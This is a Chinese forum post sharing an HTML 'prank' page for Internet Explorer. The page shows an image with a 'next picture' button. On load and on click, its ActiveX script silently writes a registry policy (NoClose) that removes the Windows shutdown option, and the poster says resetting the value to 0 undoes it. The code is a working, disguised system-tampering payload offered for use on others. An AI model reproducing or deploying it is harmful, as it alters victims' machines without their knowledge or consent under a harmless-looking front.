  
TA的每日心情 | 擦汗 2018-6-6 11:33 |
---|
签到天数: 348 天 [LV.8]以坛为家I
|
纯属恶作剧(只对IE浏览器有效因为要调用ActiveX)- <!--
- 删除关机按钮
- -->
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8"/>
- <title></title>
- <script type="text/javascript" language="javascript">
- function disableTaskMgr(flg){
- var shell = new ActiveXObject("WScript.Shell");
- try{
- shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
- 1,"REG_DWORD")
- }catch(e){
- throw e;
- }
- }
- </script>
- </head>
- <body onLoad="disableTaskMgr(true)">
- <img src="imgs/2.jpg"/>
- <button onclick="disableTaskMgr(true)">下一张
- </button>
- </body>
- </html>
复制代码 备注:可以恶作剧一下,修改注册表,把值改为0就能还原
|
|